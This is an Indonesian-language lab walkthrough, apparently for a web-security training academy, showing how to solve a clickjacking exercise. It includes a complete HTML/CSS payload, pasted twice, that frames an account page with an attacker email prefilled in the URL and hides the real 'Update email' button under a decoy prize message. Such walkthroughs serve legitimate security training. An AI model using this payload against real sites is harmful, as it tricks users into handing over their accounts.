June 12, 2026
Lab 14: Clickjacking with form input data prefilled from a URL parameter
Tujuan
Tkacala
1 min read
Tujuan
Buat korban mengklik tombol palsu yang sebenarnya adalah tombol "Update email" di dalam iframe, sehingga email korban berubah tanpa sadar.
Langkah 1: Login & Buka Exploit Server
- Buka lab.
- Login pakai wiener : peter.
- Klik tombol "Go to exploit server".
Langkah 2: Buat Kode Exploit
Di kolom "Body" exploit server, isi dengan :
<style>
iframe {
position: relative;
width: 1250px;
height: 700px;
opacity: 0.1;
z-index: 2;
border: none;
}
div {
position: absolute;
top: 480px;
left: 80px;
z-index: 1;
font-size: 24px;
color: black;
background: white;
padding: 15px;
border: 2px solid red;
}
</style>
<div>Klik di sini untuk klaim hadiah!</div>
<iframe src="https://0ae50054032898be80f60337000600e7.web-security-academy.net/my-account?email=hacker@evil.com"></iframe><style>
iframe {
position: relative;
width: 1250px;
height: 700px;
opacity: 0.1;
z-index: 2;
border: none;
}
div {
position: absolute;
top: 480px;
left: 80px;
z-index: 1;
font-size: 24px;
color: black;
background: white;
padding: 15px;
border: 2px solid red;
}
</style>
<div>Klik di sini untuk klaim hadiah!</div>
<iframe src="https://0ae50054032898be80f60337000600e7.web-security-academy.net/my-account?email=hacker@evil.com"></iframe>Langkah 3: Atur Posisi Tombol
- Klik "Store" di exploit server.
- Klik "View exploit".
- Kita bakal liat halaman my-account di dalam iframe (transparan) + teks "Klik di sini...".
- Kalau posisi tombol belum pas, kita ubah nilai "top:" dan "left:" di CSS dicoba-coba aja sampai tombol merah tepat menutupi tombol "Update email".
Langkah 4: Deliver & Solved
- Klik "Store" (simpan perubahan kalau kita sudah atur posisi).
- Klik "Deliver to victim".
- Balik ke halaman lab, refresh.
- Lab solved.